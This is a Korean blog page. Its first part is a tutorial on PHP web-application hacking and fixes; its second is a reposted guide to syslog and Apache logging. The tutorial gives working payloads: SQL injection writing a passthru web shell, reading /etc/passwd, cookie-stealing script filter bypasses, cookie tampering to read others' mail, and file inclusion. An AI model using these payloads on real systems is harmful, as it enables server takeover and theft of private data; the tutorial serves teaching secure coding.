    $field0 = "*";
    $field1 = "no";

    SELECT $field0 FROM $table WHERE $field1 = $no

    (만약 해당 글이 없으면 Error 메세지를 뿌려줄 것이다.)

    위의 Query 문의 기능은 $no 변수에 맞는 값을 요청하는 것이다. select
    문의 where 절에서는 into outfile 을 쓸 수가 있다.

    예를 들어서 database 연결을 거친 후 다음과 같은 query 를 보냈다고
    하여보자.

    select * from ttl where no=1 into outfile '/tmp/test1.txt';

    라고 하면 ttl table 안에 있는 값중 no=1 인 것을 /tmp/test1.txt 로
    저장한다는 뜻이 된다. 우리는 into outfile 을 이용해서 여러 가지
    hacking 을 시도할 수가 있다.

    먼저 Jsboard 에 글을 쓰자. 글의 본문에

    <?
    passthru($beist);
    ?>

    위와 같은 내용을 써서 정상적으로 글을 올리자. 그리고 자신이 쓴 글이
    몇번의 no 를 가지는지 알아보자. 만약 no 가 444 라고 한다면 다음과
    같이 요청을 하자.

    http://server/jsboard/read.php?table=test&no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php'

    위와 같이 요청을 하면 실제로는

    select * from test where no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php';

    이렇게 전달이 될 것이다. 444 안에는 passthru Function 이 담겨있으니
    test.php 를 이용하여 우리는 Server 에 System Command 를 실행시킬 수
    있을 것이다.

    [요청]
    http://server/jsboard/data/test/files/test.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    passwd 파일을 볼수 있다.

    위의 공격 방법에는 단점이 있다. 위의 경우는 php.ini 에서 magic_quotes_
    sybase 를 Off 로 해두면 ' 나 " 앞에 Escape 문자가 붙는데 이렇게 되면
    Sql Qeury 시에 Error 가 나서 공격이 성공하질 않는다.

    하지만 다양한 Query 변조를 시도하여 ' 나 " 를 사용하지 않고도 Hacking
    을 한다던지, 아니면 ' 와 " 앞에 Escape 문자가 붙지 않도록 한다던지하는
    방법등은 나오게 될 것이다.

    꼭 위의 방법 말고도 여러 가지 방법으로 Data 를 조작하거나 System 에
    피해를 입히는 방법은 많이 있을 것이다. 이 방법은 Query 변조를 이용한
    공격의 한가지 방법을 보여준 것이다.

    (asp 와 ms-sql 시의 연동시에 Hacking 은 mysql 과 php 연동시보다 조금
    더 유연하고 편하게 할 수 있다. 원리는 같으므로 설명하지 않겠다.)

    해결책을 알아보자.

    위의 경우 $no 변수에 들어갈 값을 Check 해야 할 것이다. $no 변수에는
    숫자 말고 다른 변수가 들어갈 이유가 없다.

    다음과 같이 $no 에 영문자가 들어가 있는지 검사를 하자.

    if(eregi("^[a-z]", $no))
    {
    echo "no 에는 영문자가 들어갈수가 없습니다.";
    }

    하지만 어떤 query 에는 영문자가 들어가야 하는 경우도 있을 것이다.
    그럴 경우의 대처 방법은 query 를 보낼때 ' 와 " 를 이용하 변수를 묶는다.

    read.php

    select * from test where no='$no'

    라고 했을때 read.php?no=1 or no=2 라고 입력하여도 실제로는

    select * from test where no='1 or no=2'

    라고 입력되는 것이다.

    하지만 이 방법은 magic_quotes_sybase 가 On 으로 되어있으면

    read.php?no=1' or no='2

    이런 식으로 요청하면 무용지물이 된다.

    그렇지만 Off 로 되어있을때 ' 나 " 로 묶지 않는다면 Cracker 가 자료를
    변조하기가 더 쉬워질 것이므로 모든 Query 문의 변수에는 ' 나 " 로
    묶도록 하자.


    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    14) 메일 서비스 회사의 알고리즘 문제

    이번 장에서는 메일 서비스를 하는 Site 들의 잘못된 알고리즘 사용으로
    인한 Hacking 취약성에 대해서 알아보겠다.

    먼저 Hacking 에 취약한 잘못된 알고리즘에 대해서 알아보기 전에 Cookie
    를 훔쳐오는 또 다른 방법에 대해서 알아보자.

    Cookie Sniffing 은 한때 Issue 가 되었던 Hacking 방법으로 대부분의
    포탈 사이트에서 Cracker 가 마음만 먹으면 Cookie 를 다른 사용자로부터
    쉽게 가져올 수 있다. 보안계에 Issue 가 되고 나서 Cookie Sniffing 에
    대한 대책으로 다음과 같은 방법이 나오고, Site 나름대로 Patch 를
    하였다.

    1. Cookie Sniffing 에 사용되는 Java-script 문자열을 필터링 한다.
    2. <script> 를 필터링 한다.
    3. java-script 를 필터링 한다.
    4. 기타등등

    (일반적인 Cookie Sniffing 방법에 대해서는 8 번 장을 참고하라)

    위와 같은 조취를 취하면 일반적인 Cookie Sniffing 은 할 수 없을 것이다.
    왜냐하면 예를 들어서

    <script language=java-script> 라는 문자열이

    <x-script language=java-script> 등으로 바뀌어서 사용자의 Web Browser가
    이 것을 Java-script 라고 인식을 하지 못하기 때문이다.

    하지만 Script 는 Script 자신을 Java-Script 라고 명시를 하지 않아도 사용
    할 수 있는 방법이 있으며, 꼭 <script> 로 시작하지 않아도 가능하다.

    첫번째에는 Visual Basic Script 인 vbscript 를 사용할 수 있으며 두번째는
    일반적인 html 태그 사이에 Java-Script 를 끼워 넣으면 된다.

    첫번째 방법은 <script> 문자열을 필터링하니 <script language=vbscript>
    이런 식으로 사용 할수가 없으므로 두번째를 사용하겠다.

    어떤 식으로 가능한지 살펴보자.

    <a href=tt.html o-nclick=alert("haha")>keke</a>

    위의 태그는 tt.html 이라는 파일에 대한 Link 태그이다. 그런데 중간에
    보면 o-nclick 이라는 것이 있다. 이 것은 Java-Script 의 한 종류로써 keke
    를 마우스로 클릭했을때 haha 라는 내용의 창을 띄우게 된다.

    여기서 분명히 Java-script 를 사용했지만 Java-script 라고 명시한 적은
    없다. 인터넷 익스플로러는 기본적으로 사용할 Script 에 대한 이름을
    특별히 명시하지 않으면 자동으로 인식한다. 그래서 java-script 라고
    명시를 하지 않았어도 사용이 가능했던 것이다.

    Cookie 를 다른 곳으로 전송하고, 그것을 저장하는 방법은 8 장에 대해서
    자세히 설명을 하였으니 이 방법에 그것을 응용하면 Cookie Sniffing 은
    어렵지 않게 가능할 것이다.

    Java-script 에는 O-nclick 말고도, On-MouseMove, On-load, OnUnload 등
    여러가지 Action 이 많기 때문에 HTML 태그에 맞추어서 알맞게 넣는다면
    Cracker 는 쉽게 사용자의 Cookie 를 가져올 수가 있다.

    이제 Cookie Sniffing 에 대한 내용은 접도록 하고, 이 장의 가장 중요한
    내용인 메일 서비스 CGI 의 알고리즘 취약성에 대해서 알아보자.

    많은 Mail CGI 에서 Cookie 를 다룰 때 잘못된 방식을 다뤄 심각한
    Security Hole 을 만들어 낸다.

    일반적으로 사용자가 메일 CGI 를 이용하기 위해 Login 하고, 그것을
    이용하는 절차를 알아보면,

    1. Mail Site 접속
    2. Login 시도
    3. Server 에서 ID, PASSWORD 가 맞는지 확인
    4. 맞다면 사용자의 Browser 에 Cookie 를 세팅함

    Server 에서 Browser 에 세팅한 Cookie 덕분에 사이트의 어떤 페이지를
    읽을 때마다 Login 을 해야하는 수고를 덜을 수 있는 것이다.

    먼저, Server 에서 Client 의 Web Browser 에 세팅하는 Cookie 값이
    다음과 같다고 하자.

    id=beist; pw=ttl; mail_home=/mailserver1/b/beist

    사용자가 위의 Cookie 값을 받고, 편지 읽기를 시도한다고 가정하였을때
    Server 는 Client 의 Cookie 를 읽어와서, id 와 pw 가 맞는지, 그리고
    mail_home 값을 가져와서 해당 디렉토리에 맞게 편지들을 보여준다.

    mail.php

    1 <?
    2
    3 $id=$HTTP_COOKIE_VARS[id];
    4 $pw=$HTTP_COOKIE_VARS[pw];
    5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
    6
    7 $conn=mysql_connect("localhost", "maildb", "mailpw");
    8 mysql_select_db("maildb", $conn);
    9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw'"));
    10
    11 if(!$temp[0])
    12 {
    13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
    14 exit;
    15 }
    16
    17 system("ls -al $mail_home");
    18 ?>

    이해를 돕기 위해 위 Script 는 임시로 만든 것이다. Client 가 전해온
    Cookie 값을 가져오고 now_connect table 에 Cookie 값에 맞는 사용자가
    있는지 확인한다. 만약 없다면, Script 실행을 중지할 것이다.

    정상적인 사용자라면 system 함수를 이용하여 Client 가 전해온 mail_home
    쿠키값을 ls 한다.

    (mail_home Directory 밑에는 사용자의 편지가 담겨있다고 가정한다.)

    실제로 Cookie 가 Server 에 어떤 식으로 전달이 되는지 알아보면

    [요청]
    $ telnet server 80
    Trying server...
    Connected to server.
    Escape character is '^]'.
    get http://server/mail.php HTTP/1.0
    Cookie: id=beist; pw=ttl; mail_home=/mailserver1/b/beist

    [결과]
    1. yo! man!
    2. [광고] 노트북 10 원!
    3. [광고] 벤츠가 10 원! 선착순 천만명!
    4. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
    5. [뉴스] CF 모델 임은경. 이승진이라는 고교생과 스캔들

    (실제 Mail CGI 의 소스는 이렇지 않지만 여기서는 최대한 간결화했다.)

    여기서 취약성이 존재한다. 일단 id 와 pw 만 정상적으로 인증을 한다면
    mail_home 은 Client 가 보내주는 data 는 전적으로 신뢰하는 것이다.
    그래서 여기서는 ttl 이라는 가상의 계정을 하나 더 만들었고 쿠키값은
    다음과 같다.

    id=ttl; pw=beist; mail_home=/mailserver1/t/ttl

    beist 라는 계정을 가진 Cracker 가 ttl 이라는 계정을 가진 사용자의
    e-mail 을 훔쳐읽는 방법은 다음과 같다.

    [요청]
    $ telnet server 80
    Trying server...
    Connected to server.
    Escape character is '^]'.
    get http://server/mail.php HTTP/1.0
    Cookie: id=beist; pw=ttl; mail_home=/mailserver1/t/ttl

    [결과]
    1. 임은경 누나 너무 귀여워요
    2. 은경아 나 매니저다
    3. [광고] 50 억을 벌 수 있습니다
    4. [광고] 40 억을 벌 수 있습니다
    5. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보

    분명히 id 는 beist 로 넣었지만 결과는 ttl 이라는 계정을 가진 사용자의
    메일로 나오게 되었다. 이유는 Cracker 가 mail_home cooke 를 보낼때
    자신의 Cookie 가 아닌 ttl 계정의 Cookie 를 보내었기 때문이다.

    mail.php 에서 사용자의 id 와 password 가 올바른지 검사를 하긴 하지만
    사용자가 보내온 mail_home cookie 를 가지고 메일 리스트를 뿌려주니까
    일어난 취약성이다.

    mail_home 경로를 알아내는 방법에 대해서.

    mail_home 의 경로는 메일 서비스 회사마다 다르게 처리한다. 어떤 곳은
    위에서 설명한 예와 같이 간단한 경로를 사용하여 Cracker 가 쉽게 유추
    할수 있지만 어떤 곳은 복잡한 방법을 사용하기도 한다. (하지만 brute
    force 를 시도해볼만하다. 대부분의 경우의 수가 천문학적인 단위가
    아니이기 때문이다.) 가장 편한 방법은 Cookie Sniffing 으로 빼오는
    것인데, 한번만 가져온다면 Cookie 를 도둑맞은 사용자가 아무리 비밀번호를
    바꾸어도 Cracker 는 평생 그 사용자의 mail 을 읽을 수 있을 것이다.

    해결책을 알아보자.

    이에 대한 해결책은 mail_home 을 now_connect table 에 넣는 것이다.
    그래서 매 페이지마다 인증을 할시에 id, pw, mail_home 이 같이 일치하는
    정보가 없으면 올바르지 않은 사용자로 간주하는 것이다.

    1 <?
    2
    3 $id=$HTTP_COOKIE_VARS[id];
    4 $pw=$HTTP_COOKIE_VARS[pw];
    5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
    6
    7 $conn=mysql_connect("localhost", "maildb", "mailpw");
    8 mysql_select_db("maildb", $conn);
    9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw' and mail_home'$mail_home'"));
    10
    11 if(!$temp[0])
    12 {
    13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
    14 exit;
    15 }
    16
    17 system("ls -al $mail_home");
    18 ?>

    물론 위 방법을 사용하기 전에 now_connect 에 mail_home 필드를 만들고,
    login 시에 mail_home 데이터를 넣는 추가 과정이 필요하겠지만 여기서의
    설명은 불필요하므로 접겠다.

    그리고, 위 방법말고 Session 을 활용하는 방법도 괜찮을 것이다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    15) include 사용지 주의할점, 기타 보안관련 주의할점

    이제 마지막 장이다. 웹 프로그래밍 시 잘못된 알고리즘 사용으로 인한
    취약성이나 그와 유사한 결과로 인해 일어나는 취약성은 알아보았다.
    이번 장에서는 몇가지 더 간단한 보안 취약성에 대해서 알아보고 웹
    프로그래밍과는 조금 상관이 없는 내용도 다루겠다.

    먼저 첫번째 알고리즘 취약성에 대해서 알아보자. include 함수를 알
    것이다. include 함수는 프로그래머가 지정한 특정 file 을 소스에
    포함시키는 함수이다. 예를 들어

    test.php

    <?

    include "test.txt";

    ?>

    라는 소스가 있다면 test.txt 라는 file 을 test.php 에 포함시켜서
    사용자에게 보여준다. 여기서 보통 다음과 같은 문법을 많이 쓴다.

    vul.php

    <?

    include "$table";

    /* 생략 */

    echo "<br><br>테스트 중입니다. ^^";

    ?>

    위는 보통 게시판이나 어떤 객체적인 개념이 들어가는 프로그래밍을 할 시에
    디렉토리를 따로 두어 $table 변수에 있는 것을 자동으로 include 하게 하는
    것이다.

    이 방법에 취약성이 존재한다.

    예를 들어 다음과 같은 상황이라고 하자.

    test1/header.txt 의 내용

    안녕하세요. 이것은 헤더파일입니다.

    [요청]
    http://server/vul.php?table=test1/header.txt

    [결과]
    안녕하세요. 이것은 헤더파일입니다.
    테스트 중입니다. ^^

    여기서 Cracker 는 query 를 간단히 변조함으로써 원하는 파일을 read
    할 수 있게 된다.

    [요청]
    http://server/vul.php?table=/etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    해결책을 알아 보자.

    include 할때 Cracker 가 해킹을 하기 힘들게 해야 한다.

    <?

    if(eregi("\.\.", $table))
    {
    echo "파일 이름에 .. 가 존재하면 안됩니다.";
    exit;
    }

    include "./$table";

    /* 생략 */

    echo "<br><br>테스트 중입니다. ^^";

    ?>

    첫번째 조취로 상위디렉토리로 올라가기 위한 .. 문자열을 필터링 하는
    작업과, 두번째 include 시 현재 디렉토리에서 참조하라는 지시를 하였다.

    [요청]
    http://server/vul.php?table=../../../../../../../etc/passwd

    [결과]
    파일 이름에 .. 가 존재하면 안됩니다.

    [요청]
    http://server/vul.php?table=/etc/passwd

    [결과]
    테스트 중입니다. ^^

    두번째 방법과 같이 요청을 한다면 include 하려할 파일은 .//etc/passwd
    이다. ./etc/passwd 와 .//etc/passwd 는 같다.

    그리고 open 하려할 파일이 들어있는 디렉토리에는 중요한 파일은 두지
    말도록 하자.

    이제 여러 가지 주의 사항에 대하여 알아보겠다.

    다음에서 알려주는 문제는 어쩌면 프로그래머가 신경써야할 부분이 아닐지도
    모르지만 알아두면 도움이 될 것이다.

    먼저 확장자 문제. 일반적인 test.php 와 같은 파일은 파싱을 해주기 때문에
    소스가 그대로 드러나는 일은 없다. 하지만 보통 백업용으로 만들어놓는
    확장자인 bak 등은 파싱을 하지 않기 때문에 그대로 소스가 노출될 수 있다.

    경험이 많은 Cracker 는 눈에 보이지 않는 많은 것들을 시도하게 되고
    test.bak 같은 것은 그 일부이다. 프로그래머는 이 부분에 대해서 주의를
    해야할 것이다.

    그리고 어떤 확인작업이나 인증작업시에 Client 에 전적으로 의존하려 하면
    안된다. 아직도 웹에는 Java-script 로만 확인을 하는 것이 많은데, Java
    Script 는 Cracker 임의대로 수정하거나 아니면 아예 삭제를 할 수도 있다.
    1 차적인 확인으로 Client 에서 Java-script 로 확인을 하고, 2 차적인 작업으로
    CGI 에서 또 확인을 해야만 할 것이다.

    중요한 파일을 include 할 시에 filename 을 파싱이 안되는 확장자로 하지
    말아야 한다. 만약 include 하는 파일이 database 에 연결하는 파일이라고 하고
    dbconn.inc 라면 inc 확장자는 파싱을 하지 않으니 소스코드가 그대로 노출되어
    질 것이다. dbconn.inc 대신 dbconn.php 로 대처하자. 아니면 inc 도 파싱을
    하도록 설정하자.

    위 사항과 관련하여 취약성이 존재할수도 있다. dbconn.inc 의 소스코드가 그대로
    드러나는 것을 막기 위하여 inc 도 파싱하도록 설정을 해두었는데, 정작 자료실
    에서 inc 의 upload 를 막아두지 않아 Cracker 가 서버에 침투할 수도 있다.

    그리고 cgi 가 돌아가는 확장자에 대해서 주의하여야 한다. 예를 들어 php 이면
    *.php 만이 파싱이 되는것이 아니라 php3, php4, shtml, 등이 파싱이 될 수도
    있으니 주의를 하여야 한다.

    또 index 파일을 각 디렉토리에 만들어놓아 index 파일이 없을때 디렉토리 안의
    내용을 볼수 있는 현상도 막아야 할 것이다. 아니면 웹서버 설정에 index 기능을
    사용하지 않도록 하자.

    database 연결시에 허용된 주소가 아니면 접속을 금지시켜야 할 것이다. 보통은
    localhost 에서만 접속이 가능하도록 database 를 설정하고, 규모가 큰 네트웍
    에서는 정책을 잘 설정해야 할 것이다.

    디폴트 설정에 주의하여야 한다. 많은 Cracker 는 게으른 관리자로 인해서
    바뀌지 않은 설정을 이용한다. 취약성이 안 알려져있다고 하더라도 디폴트 설정은
    바꾸는 게 좋다.

    가장 중요한 점은 최신의 보안에 대해서 귀를 기울이며 대처를 하는 것이다.
    2006/09/08 12:51 2006/09/08 12:51
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 엔지니어
    원본 http://blog.naver.com/find999/150002211630

    Log File에 대한 포괄적 접근


    초기에 Log file의 분석 및 기록에 대한 흥미는 주로 이익의 추구에 의해 고무되어왔다.
    이외에도 System log와 같은 주요 File들에 대한 장기 보관, 관리 작업과 이전에는 관심을 받지 않았던 Hacker활동에 대한 분석과 Server 증설, 예측 및 자원 재분배를 위한 사용량 측정 등과 같은 원인이 있다.

    대부분, 자사 Web Site의 가치 증가를 접속 수의 증가로 확인시키기를 원한다. 이 자료는 해당 Site로 통하는 Traffic 양을 통해 광고 비용과 Hosting 서비스의 가격 결정에 대한 판단 자료로 고객, 광고주, 투자자 그리고 관리자에게 보여주는데 꼭 필요하다.

    추가적으로, 수년간 비공식적 시스템 관리자로 일하며, syslog와 Built-in Log Rotation System에 대한 다양하지만, 이해하기 쉽지않은 구성 Parameter를 분석한 결과, 문제를 포괄적으로 접근하고, 주요 System Event를 저장, 통보하며 원시 Data를 영구적으로 보관하는 시스템을 구성하고자 한다.


    Log 대상


    Server에 의해 제공되는 모든 서비스들은 기록 및 감시되어져야 한다. UNIX Host는 sendmail, Web Server, ftp, telet 및 cron과 같은 User 서비스들을 제공한다. 또한 login의 검증과 User Shell의 생성과 같은 Kernel 자체에서 제공되는 통합된 System
    서비스도 제공한다.

    특정 서비스의 Event에 대한 무관심으로 서비스는 사용되지도 않고, 제공될 수 없다고 생각한다.
    최소한, 사용되지않은 서비스의 존재는 Server의 성능에 불필요한 영향을 주며, 어떤 서비스가 실제 필요한 것인지를 판단하기 어렵게 한다. 최악으로는, 내버려둔 서비스가 보안 취약점으로 활용되는 통로로 제공된다.

    예를 들어, System 설치 동안 모든 것을 설치하려고 하는데, 이는 추가될 서비스 및 Utility들을 찾아내기 위한 추가 시간을 줄이고 향후 필요 시에 설치를 피하기 위해서이다. 그러나, 이 전체 설치 선택 시에는 일반적으로 NFS와 rshd/rlogind와 같은 보안에 취약한 서비스가 함께 설치, 활성화된다.

    이러한 문제의 중요성을 파악하고 있는 관리자는 여러 방법으로 제공되어지는 서비스를 알 수 있어야 한다.

    1. 모든 사용자에 의해 수행되는 전체 Process를 보기위해 ps 명령어를 Verbose Option
    과 함께 사용(각 UNIX 마다 ps aux 또는 ps auxwww로 다름)
    2. 현재 Port의 상태를 보기 위해 netstat -a 명령어 사용
    LISTEN 상태는 Connection 시도에 대해 기다리는 서비스를 나타내고, ESTABLISHED
    상태는 서비스가 연결된 Client에서 현재 사용되고 있음을 나타낸다.
    3. inetd Daemon에 의해 요청될 때마다 시행되는 서비스에 대하여 /etc/inetd.conf 점검
    4. rc Startup File을 점검 (각 UNIX마다 /etc/rc.* 와 같은 곳에 다르게 위치함)
    5. System에 이미 존재하는 Log file의 Timestamps, 크기 및 내용을 점검
    (/var/log 또는 /var/adm 과 같은 곳에 위치함)

    서비스를 Disable시키는 것에 대한 내용은, 이 주제의 범위에 포함되지 않지만, 주로 /etc/inetd.conf의 해당 Line를 Comment화 시키거나, 서비스의 Package를 제거, 또는 자동적으로 시작되지 않게 rc Directory에서 Startup Scrip를 이동시키는 방법 등이
    이용된다.


    Syslog를 사용하는 Service


    sendmail, innd(Internet News Daemon) 및 named(DNS Server Daemon)과 같은 확증된 UNIX 서비스는 표준 Logging 기능인 Syslog를 기본으로 하는 Built-in Logging 기능을 가지고 있다. Syslog Daemon은 다른 서비스에서 사용되어지는 서비스이다. 이러한 Daemon들은 Syslog에게 Log 항목을 만들도록 요청하더라도 Syslog는 특별히 이런 메시지를 처리하는 방법이 언급되어있지 않으면, 이런 요청을 무시한다.

    예를 들어, sendmail의 Source Code에 syslog() 라는 UNIX C Library Function의 호출이 곳곳에 쓰여지는데, 이 Function은 syslogd에 다음과 같이 구성된 메시지를 보낸다.

    1. Log 항목을 요청하는 Program의 Type (즉, mail, news 또는 일반 Daemon 등)
    2. 메시지의 우선 순위 (즉, info, notice, err, 또는 emerg)
    3. Log 항목의 내용

    Sendmail의 Daemon은 수신되는 Mail을 Accept 또는 Reject시 info 항목을 보내고, Client와 Connection이 끊어질 경우 notice 항목을 보낸다. Sendmail은 수행 중 성공 또는 실패 작업에 따라 메시지의 항목을 만드는 경우가 수백가지가 된다.그러므로, syslog에 연관된 Daemon의 경우, 문제는 서비스가 Log 항목들을 생성하는 방법이 아니라, 이들을 적절하게 처리하기 위해 어떻게 syslog를 구성하느냐에 있다.


    Syslog 구성


    Syslog 구성 File은 /etc/syslog.conf이며, 다음과 같다.

    #
    # Log everything (except mail and auth message) of level info or higher.
    #
    *.info;mail.!=info;authpriv.! /var/log/messages

    # Log all the mail messages in one place.
    mail.*/var/log/maillog
    # Log authorization messages in a protected file.
    Authprive /var/log/secure
    # Broadcast emergency messages to all users.
    *.emerg *

    이 구성 File의 첫번째 항목은 mail과 인증 서비스를 제외한 모든 서비스에서 발생시키는 info에서 emergency 의 우선순위를 가지는 메시지를 /var/log/messages에 저장한다. Sendmail은 아주 많은 항목의 메시지를 발생시켜 실제 중요한 메시지들을 쉽게 확인할 수
    없게하며, 인증은 Password와 같은 민감한 정보를 가질 수 있기 때문에 이것이 일반적인
    형태이다.

    첫번째 항목은 또한 특정 이름이 지정되지 않은 Daemon에 의해 생성된 메시지도 저장한다. 이와 같은 Daemon 중에 named라는 DNS Server Daemon은 해당 사용에 대한 시간 통계를 발생시키는데(Compile될 때 Enable 되어야 함) 좋은 예 중에 하나이다. 이와 같은 이유로, daemon.info 메시지를 별도의 Log File에 기록하고 Main log file에 대해서는 daemon.!=info를 사용하여 이를 배제시키는 것이 바람직하다.

    두번째 항목은 모든 mail 메시지를 /var/log/maillog로 보내며, 세번째 항목은 인증 메시지를 /var/log/secure로 보낸다. 마지막 항목의 Destination Field의 "*"은 도움을 표시하는 구실로써 현재 Login 되어 있는 모든 사용자의 화면에 표출되게 한다.

    여러 Machine들이 각각의 Machine에서 개별적으로 Log를 보관하지 않고, Loghost 라고 하는 하나의 syslog server로 보낼 수 있게 구성할 수 있다. 구성이 올바르게 되었을 때, Loghost는 다른 Machine에서 보내는 UDP Packet를 기다리며, 이 메시지를 Local Log file에 기록하게 된다. 다음의 절차는 Red Hat Linux에 대해 이런 기능을 설정하여 준다.

    1. Loghost에서, syslogd를 수행시키는 rc Startup Scrip에서 -r Parameter를 추가
    한다.
    2. 각각의 Machine에서, syslog.conf File에 다음을 추가한다.
    #
    # Send all message to the loghost, And let it filter them
    #
    ** @loghost

    그러나, 이런 기능은 외부 침입자에게 Loghost가 서비스 공격 및 자신의 Log file에 대한 보호를 하기 어렵게 만든다. 이런 기능은 Loghost가 방화벽의 보호 아래에 있거나, 특정 syslog Client에 제한적 접근을 할 수 있는 ipfwam 또는 ipchains와 같은 Kernel
    방화벽 기능과 연계되어 쓰일 경우에만 사용된다.

    syslog에 대한 man Page에서 해당 syntax, 여러 구성 예제 그리고 서비스 형태의 전체 List 및 보안 Level에 대해 다루고 있다. 여러 가능한 정보를 보기 위해, syslog, syslog.conf 그리고 syslogd의 man Page를 보는 것이 필요하다. syslog는 각각의 서비스에서 발생시키는 Client Library Function이고, syslogd는 syslog.conf에 의해 구성되는 Daemon이라는 것을 기억하여야 한다.


    Syslog 문제 해결


    syslog가 원하는 장소에 Message를 쓰지 못할 경우, 점검해야 될 것이 몇 가지 있다.

    첫째, 구성 File을 다시 읽을 수 있게 syslogd를 재시작시킨다. syslogd를 재시작시키는 한 방법은 syslogd에 Hangup Signal을 보내는 것인데, ps 명령어로 syslogd의 pid를 찾아 kill -HUP <pid>를 수행한다. 다른 방법으로는, Linux 또는 Solaris 환경에서 /etc/rc.d/init.d/syslog restart와 같이 Startup Scrip를 restart Parameter로 수행하는 것이다.

    다음은, 목적지 File이 존재하는지를 점검하여야 하는데, syslogd가 수정을 하기위해 반드시 존재하여야만 한다. touch <filename> 명령어로 Empty File을 만들 수 있다. syslog가 재시작되면, 해당 File에 적정한 메시지가 기록될 것이다.
    다른 Host로 메시지를 보낼 경우, 수신할 Host에서는 이 메시지를 받을 수 있게 구성되어야 한다. 각각의 특정 UNIX Version에 대해 이를 구성하는 방법에 대한 특정 명령을 알기 위해 syslogd의 man Page를 참조하라.


    Syslog를 사용하지 않는 서비스


    Web server는 자체 독립적인 Logging 구조를 가지는 좋은 예제가 된다. Web server log는 사용량이 많은 Machine에서는 하루에 몇 MegaBytes정도로 아주 큰 것이 보통이다. Log에는 요청된 모든 File의 이름과 요청을 수행할 때 발생된 오류 등을 보관한다. 추가적인 구성으로 요청한 Browser Type과 현 Page에서 사용자가 마지막으로 참조한 Page를
    보관할 수 있다.

    Apache Web server에 대한 Logging는 httpd.conf에 의해 구성되는데, /usr/local/etc/httpd 또는 표준 Red Hat RPM Distribution에서는 /etc/httpd/conf에 일반적으로 위치한다. 정규적으로 log를 사용하기 위해 쓰여져야 할 Line은 다음과 같다.

    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    LogFormat "%(Referer)i -> %U" referer
    LogFormat "%{User-agent}i" agent

    CustomLog logs/access_log common
    CustomLog log/referer_log referer
    CustomLog log/agent_log agent

    LogFormat은 Format 특정자의 조합을 대표하여 나타내는 common, referer 및 agent와 같이 alias를 정의하는데, 여기에서 요청하는 Host를 나타내는 %h, 요청 받은 Page를
    나타내는 %r등이 있다. 이 Alias들은 결과적으로 CustomLog 항목에 사용되는데, Apache가 특정 Log File에 어떻게 항목을 쓰는지를 정의한다. (Log Directory는 목적지가 "/"로 시작하지 않을 경우, 구성 file에서 설정된ServerRoot Directory에 상대 Direcory임을 주의)
    위 구성은 Apache가 Pages accesses를 access_log에 쓰도록 하고있다. 현 Page를
    요청하기 바로 전, Browser에 의해 보여진 최종 Page를 referer_log에, 요청을 한 Browser Type을 agent_log에 기록하도록 되어 있다.

    여러 개의 Log file들에 해당 항목을 분산하는 방법 이외에, 이들을 하나의 Log File에 둘 수 있다. 다음의 정의는 각 요청에 대한 모든 정보를 access_log로 둘 수 있다.
    LogFormat "%h %l %u %t \"%r\" %>s %b
    \"%(Referer)i\" \"%{User-agent}i\"" combined

    CustomLog logs/access_log combined

    Apache에서의 오류에 대한 Logging은 오류의 정도에 따라 info, warn, error와 같은 여러 Level을 가지며, syslog와 비슷하다. 오류 Log에 보내지는 메시지의 최소 우선
    순위는 LogLevel에서 직접 조정된다.

    ErrorLog logs/error_log
    LogLevel warn

    Web Server가 자체 Log file을 유지하게 구성이 되면, 이 File들의 크기를 조정하여야 하며, 해당 File System이 Full이 되지 않게 조심하여야 한다. Server가 많이 사용
    되거나, 오류 Log가 갑자기 아주 크질 수 있게 되는 구성상의 문제가 있을 경우, 이와 같은 현상은 빨리 발생이 된다. 이 때는 오래된 Log File들을 삭제하는 대신, 체계적으로 이들을 압축, 보관하는 것이 필요한데 이것에 대한 내용이 아래에 계속된다.


    Log File들의 감시


    여러 Machine들에 대한 Log file의 정리 내용이 주어지면, 각각의 Machine에서 어떠한 일들이 벌어지고 있는지에 대해 알 수 있는 가장 좋은 방법은 각 Log file의 최신 항목들을 살펴보는 것이다. 어떤 시스템 관리자는 각각에 대해 tail -f <logfile> 을 사용하여 최신의 정보를 감시하는 것을 선호하는데, 이보다 좀더 편리하게 항목이 쓰여질 때, 주기적으로 이에 대해 통보 받을 수 있는 방법이 있다.

    첨부에 있는 logtail.pl script는 Log file이 최종 점검된 이후 발생된 항목에 대해
    통보한다. (Sys Admin Web Site인 www.sysadminmag.com 또는 ftp.mfi.com
    /pub/sysadmin 에서도 구할 수 있음)
    Usage: logtail.pl <logfile> <logposfile>

    <logfile> Parameter는 관찰될 Log file이며, <logposfile>은 수행될 때마다 <logfile>의 크기를 저장할 수 있는 기록가능한 File이다. 이 Script는 이전에 통보된 Log 부분은 생략하며, 최신의 항목만을 stdout에 표출시킨다.
    각 log file에 대해 logtail.pl을 cron job으로 수행시킬 때, 시스템 관리자는 최종 실행까지 만들어진 모든 항목이 포함되는 mail을 받게 될 것이다.

    #
    # Check the system log every day
    #
